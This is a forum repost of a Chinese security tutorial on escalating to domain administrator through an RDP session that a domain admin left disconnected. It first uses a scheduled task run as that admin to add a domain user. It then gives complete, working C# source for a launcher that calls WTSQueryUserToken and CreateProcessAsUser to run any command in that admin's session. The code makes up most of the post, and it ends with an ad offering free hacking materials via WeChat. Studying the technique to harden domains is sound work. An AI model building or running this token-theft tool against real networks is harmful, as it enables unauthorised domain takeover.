使用断开的域管理员RDP会话提权

打印 上一主题 下一主题

主题 860|帖子 860|积分 2582

前言

当域内管理员登录过攻击者可控的域内普通机器运维或者排查结束后,退出3389时没有退出账号而是直接关掉了远程桌面,那么会产生哪些风险呢?有些读者第一个想到的肯定就是抓密码,但是如果抓不到明文密码又或者无法pth呢?
通过计划任务完成域内提权

首先模仿域管登录了攻击者可控的普通域内机器并且关掉了3389远程桌面:
[img=720,48.066759388038946]https://www.yijinglab.com/headImg.action?news=76d35e8e-69b6-49b3-8e08-b4827f31535a.jpg[/img]

然后攻击者可以通过如下方式进行域内提权,已添加域内用户为例,流程为新建计划任务-选择域管用户-执行命令:
选择搜刮用户位置为域内:
[img=720,634.7855917667239]https://www.yijinglab.com/headImg.action?news=17a390c0-cfc5-4b34-bdb5-b284a3c4fa0c.jpg[/img]

选择登录进来的域管用户:
[img=720,439.0243902439024]https://www.yijinglab.com/headImg.action?news=441dad7c-26ad-48b5-9a29-a1ac76763107.jpg[/img]

设置启动的命令:
[img=720,479.232]https://www.yijinglab.com/headImg.action?news=c700928e-6071-4562-bc20-4638d94c0027.jpg[/img]

然后运行计划任务,可以看到成功添加了域内用户:
[img=720,34.63556851311953]https://www.yijinglab.com/headImg.action?news=50a3c330-a7e3-4c4a-877b-b742c92711e2.jpg[/img]

有些读者可能会问了,那是不是选择任意域内用户都行,实际上是不行的,会提示用户未登录:
[img=720,301.34831460674155]https://www.yijinglab.com/headImg.action?news=c202f83f-fbe3-4cdd-b492-00c362355009.jpg[/img]

【----资助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC毛病分析陈诉
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂口试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
原理分析

原理实际上也很简单,就是获取历程的token,然后使用CreateProcessAsUser api完成模仿用户token进行历程创建即可。下面提供完整代码,如下代码核心是使用WTSQueryUserToken获取rdp session id token,然后使用CreateProcessAsUser完成历程的创建:
  1. using System;
  2. using System.Runtime.InteropServices;
  3. using System.ComponentModel;
  4. using System.Security.Principal;
  5. class Program
  6. {
  7.    [DllImport("wtsapi32.dll", SetLastError = true)]
  8.    static extern bool WTSQueryUserToken(int sessionId, out IntPtr Token);
  9.    [DllImport("kernel32.dll", SetLastError = true)]
  10.    static extern bool CloseHandle(IntPtr hObject);
  11.    [DllImport("userenv.dll", SetLastError = true)]
  12.    static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);
  13.    [DllImport("userenv.dll", SetLastError = true)]
  14.    static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
  15.    [DllImport("advapi32.dll", SetLastError = true)]
  16.    static extern bool CreateProcessAsUser(
  17.        IntPtr hToken,
  18.        string lpApplicationName,
  19.        string lpCommandLine,
  20.        IntPtr lpProcessAttributes,
  21.        IntPtr lpThreadAttributes,
  22.        bool bInheritHandles,
  23.        uint dwCreationFlags,
  24.        IntPtr lpEnvironment,
  25.        string lpCurrentDirectory,
  26.        ref STARTUPINFO lpStartupInfo,
  27.        out PROCESS_INFORMATION lpProcessInformation);
  28.    [StructLayout(LayoutKind.Sequential)]
  29.    struct STARTUPINFO
  30.    {
  31.        public int cb;
  32.        public string lpReserved;
  33.        public string lpDesktop;
  34.        public string lpTitle;
  35.        public uint dwX;
  36.        public uint dwY;
  37.        public uint dwXSize;
  38.        public uint dwYSize;
  39.        public uint dwXCountChars;
  40.        public uint dwYCountChars;
  41.        public uint dwFillAttribute;
  42.        public uint dwFlags;
  43.        public short wShowWindow;
  44.        public short cbReserved2;
  45.        public IntPtr lpReserved2;
  46.        public IntPtr hStdInput;
  47.        public IntPtr hStdOutput;
  48.        public IntPtr hStdError;
  49.    }
  50.    [StructLayout(LayoutKind.Sequential)]
  51.    struct PROCESS_INFORMATION
  52.    {
  53.        public IntPtr hProcess;
  54.        public IntPtr hThread;
  55.        public uint dwProcessId;
  56.        public uint dwThreadId;
  57.    }
  58.    static void Main(string[] args)
  59.    {
  60.        if (args.Length < 2)
  61.        {
  62.            Console.WriteLine("Usage: RdpProcessLauncher.exe <sessionId> <command>");
  63.            return;
  64.        }
  65.        int sessionId;
  66.        if (!int.TryParse(args[0], out sessionId))
  67.        {
  68.            Console.WriteLine("Invalid session ID");
  69.            return;
  70.        }
  71.        string command = args[1];
  72.        IntPtr userToken = IntPtr.Zero;
  73.        IntPtr envBlock = IntPtr.Zero;
  74.        try
  75.        {
  76.            // Get user token for the specified session
  77.            bool tokenResult = WTSQueryUserToken(sessionId, out userToken);
  78.            if (!tokenResult)
  79.            {
  80.                int error = Marshal.GetLastWin32Error();
  81.                throw new Win32Exception(error);
  82.            }
  83.            // Create environment block
  84.            bool envResult = CreateEnvironmentBlock(out envBlock, userToken, false);
  85.            if (!envResult)
  86.            {
  87.                int error = Marshal.GetLastWin32Error();
  88.                throw new Win32Exception(error);
  89.            }
  90.            // Prepare startup info
  91.            STARTUPINFO startupInfo = new STARTUPINFO();
  92.            startupInfo.cb = Marshal.SizeOf(startupInfo);
  93.            startupInfo.lpDesktop = "winsta0\\default";
  94.            PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
  95.            // Create process as user
  96.            bool processResult = CreateProcessAsUser(
  97.                userToken,
  98.                null,
  99.                command,
  100.                IntPtr.Zero,
  101.                IntPtr.Zero,
  102.                false,
  103.                0x00000400, // CREATE_UNICODE_ENVIRONMENT
  104.                envBlock,
  105.                null,
  106.                ref startupInfo,
  107.                out processInfo);
  108.            if (!processResult)
  109.            {
  110.                int error = Marshal.GetLastWin32Error();
  111.                throw new Win32Exception(error);
  112.            }
  113.            Console.WriteLine("Process launched successfully. PID: {0}", processInfo.dwProcessId);
  114.            // Clean up process handles
  115.            CloseHandle(processInfo.hProcess);
  116.            CloseHandle(processInfo.hThread);
  117.        }
  118.        catch (Exception ex)
  119.        {
  120.            Console.WriteLine("Error: {0}", ex.Message);
  121.        }
  122.        finally
  123.        {
  124.            // Clean up resources
  125.            if (envBlock != IntPtr.Zero)
  126.            {
  127.                DestroyEnvironmentBlock(envBlock);
  128.            }
  129.            if (userToken != IntPtr.Zero)
  130.            {
  131.                CloseHandle(userToken);
  132.            }
  133.        }
  134.    }
  135. }
复制代码
编译后进行尝试:
[img=720,30.55045871559633]https://www.yijinglab.com/headImg.action?news=66e6d3e2-60f0-469a-bde8-fd2ee33c8d91.jpg[/img]

[img=720,43.40425531914894]https://www.yijinglab.com/headImg.action?news=ba794b48-7854-4e94-9bf1-0047804c61ac.jpg[/img]

成功完成了token偷取并添加了域内用户。
总结

本文通过演示偷取RDP Session Token完成域内提权的目的。
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

用多少眼泪才能让你相信

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表